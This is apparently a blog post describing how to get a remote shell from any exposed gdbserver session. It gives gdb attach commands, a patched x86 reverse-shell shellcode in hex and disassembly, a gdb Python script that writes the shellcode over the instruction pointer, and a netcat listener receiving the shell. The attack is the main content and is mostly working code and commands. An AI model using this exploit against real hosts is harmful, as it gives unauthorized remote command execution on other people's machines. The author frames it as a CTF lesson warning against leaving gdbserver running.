Turning arbitrary GDBserver sessions into RCE

Turning an arbitrary GDBserver sessions into RCE

Today we’ll see how we can turn an arbitrary GDBserver remote debugging
session into remote code execution. First of all, let’s assume gdbserver is
ran using the following command. We will also assume that the target
architecture is Linux/x86, but you can port the technique to other
architectures as needed.

$ gdbserver --remote-debug ./some_unknown_binary

What happens is that gdbserver will serve as many remote debugging sessions as
possible while it’s running. That is, we can have as many remote debugging
sessions as we like, until the gdbserver is killed (but only one at a time.)
This makes sense, because if we are debugging a target, then we don’t want to
restart gdbserver every time we hit “run” in gdb.

Let’s assume one were to run gdbserver in a screen, to prevent accidental
connection resets resulting in losing the gdbserver session (assuming we’re
ssh’ing into a remote server.) Exactly this happened to me – I recently found
out that there were still two (of my) gdbserver’s running in a screen from
when we were playing a CTF, almost two months ago.

Now anyone with the ip address and port number can attach to your gdbserver by
doing the following.

$ gdb
(gdb) target extended-remote host:port
Remote debugging using host:port
(gdb) run
[Inferior 1 (process 42) exited normally]

In order not to make the RCE not too easy, we’re going to assume that we don’t
have any symbols of the remote binaries, and that all addresses are ASLR’d. In
other words, educational guessing of “main” is useless, and we won’t be able
to do arbitrary function calls during debugging such as the following.

(gdb) call system("/bin/sh")
No symbol table is loaded.  Use the "file" command.

However, if we enter a breakpoint at an invalid address and run the debuggee,
we get an error right before executing the very first instruction of the
process. This looks roughly like the following :)

(gdb) break *0
Breakpoint 1 at 0x0
(gdb) run
Starting program:
warning: Could not load vsyscall page because no executable was specified
try using the "file" command first.
Cannot insert breakpoint 1.
Error accessing memory address 0x0: Unknown error 18446744073709551615.
(gdb) info reg eip
eip            0xf7fe0850       0xf7fe0850

At this point the debuggee has been executed, and we’re able to inspect and
modify its state. We continue by removing our earlier breakpoint. Now it’s
time for the fun part.

Reverse Shell Shellcode

After a bit of googling, I stumbled upon the following shellcode. This
shellcode connects to an ip address and port of your choosing, and executes
/bin/sh with stdin, stdout, and stderr set to your socket. If we have netcat
listening on the remote ip address and port, then it’ll get a connection
request upon execution of the shellcode, and we can use it to run arbitrary
shell commands on the shellcodes machine, as if we had shell access. After an
initial test, this shellcode seemed to work on my x86_64 machine running a
32-bit application. However, there’s a small problem with this shellcode. If
we look closely at the shellcode, we notice the following.

804807b:   31 db        xor    ebx,ebx
804807d:   b3 02        mov    bl,0x2
804808a:   fe c3        inc    bl
8048098:   b1 03        mov    cl,0x3
804809a <dupfd>:
804809a:   fe c9        dec    cl
804809c:   b0 3f        mov    al,0x3f
804809e:   cd 80        int    0x80      ; system call
80480a0:   75 f8        jne    804809a

Investigating this system call further, we see that this is the dup2
system call
. However, the ebx register, or old_fd, seems to be
constant here – namely three. (I figured this out while brushing my teeth..)
This is the default fd if you open your first file descriptor in a program,
which is something we cannot assume, and is definitely not the case when
running the debuggee under gdbserver. (E.g., this shellcode fails if you open
a file or socket before running it, because the fd of the socket allocated by
our shellcode will be four for example, instead of three.)

If we look further, we see that the esi register contains the fd number
returned from the socket system call. (Actually, this is the socketcall
system call with SOCKOP_socket as operation, but that’s a minor detail
specific to Linux/x86.)

8048075:   cd 80        int    0x80      ; socket()
8048077:   89 c6        mov    esi,eax   ; esi = fd
804808e:   6a 10        push   0x10      ; sizeof(sockaddr_in)
8048090:   51           push   ecx       ; sockaddr_in *
8048091:   56           push   esi       ; fd
8048092:   89 e1        mov    ecx,esp
8048094:   cd 80        int    0x80      ; connect()

Long story short, we want to preserve esi before the connect system call,
and store it into ebx after the system call. Thus ebx will contain the fd of
our socket, and the system calls to dup2 will duplicate the correct fd into
stdin, stdout, and stderr. The following snippet shows the updates shellcode.
This is the shellcode that we’re going to use.

8048092:   89 e1        mov    ecx,esp
+                       push   esi       ; push fd
8048094:   cd 80        int    0x80      ; connect()
+                       pop    ebx       ; pop fd into ebx
8048096:   31 c9        xor    ecx,ecx
8048098:   b1 03        mov    cl,0x3

Running the Shellcode

All we have left to do is to patch the correct ip address and port into the
shellcode, namely that of our listening netcat instance (e.g., running
“nc -vvv -l 9001″ on your favourite linux box), overwriting eip with the
shellcode, and finally, running it.

For my exploit I’m using gdb’s Python bindings, as initially I had another
technique in mind, which required a bit more scripting. Following is the
final part of the code which generates the shellcode, overwrites it onto eip,
and executes it. We have two continue statements at the end, as the
shellcode will execv into /bin/sh, after which we’ll get an error that
gdbserver can’t read the memory of eip anymore, so we have to instruct
gdbserver to continue past that error.

def reverse_shell((ip, port)):
    """Modified x86 reverse shell"""
    ip, port = socket.inet_aton(ip), struct.pack('>H', port)
    sc = \
        '31c031db31c931d2b066b301516a066a016a0289e1cd8089c6b06631dbb30268' \
        '000000006668ffff6653fec389e16a10515689e156cd805b31c9b103fec9b03f' \
    return sc.decode('hex').replace('\xff'*2, port).replace('\x00'*4, ip)

for idx, ch in enumerate(reverse_shell(netcat)):
    gdb.execute('set *(unsigned char *)($eip + %d) = %d' % (idx, ord(ch)))


Final Exploit

The final exploit code can be found here.

Execution of the code may look like the following. We’ll need three shells.
(Optionally on different servers – do as you like.)

Shell 1

$ gdbserver --remote-debug ./some_unknown_binary

Shell 2

$ nc -vvv -l 31338

Shell 3

$ vim gdbservrce.py   # Patch the ip addresses
$ gdb -x gdbservrce.py

Enjoy Shell!

Now if we go back to Shell #2, we’ll see the following, and can run arbitrary
shell commands.

skier@box:~$ nc -vvv -l 31338
Connection from port 31338 [tcp/*] accepted
uid=1010(skier) gid=1011(skier) groups=1011(skier)


This is a funny technique which basically tells you not to have gdbserver’s
running around :)

Leave a Reply

Your email address will not be published. Required fields are marked *


You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>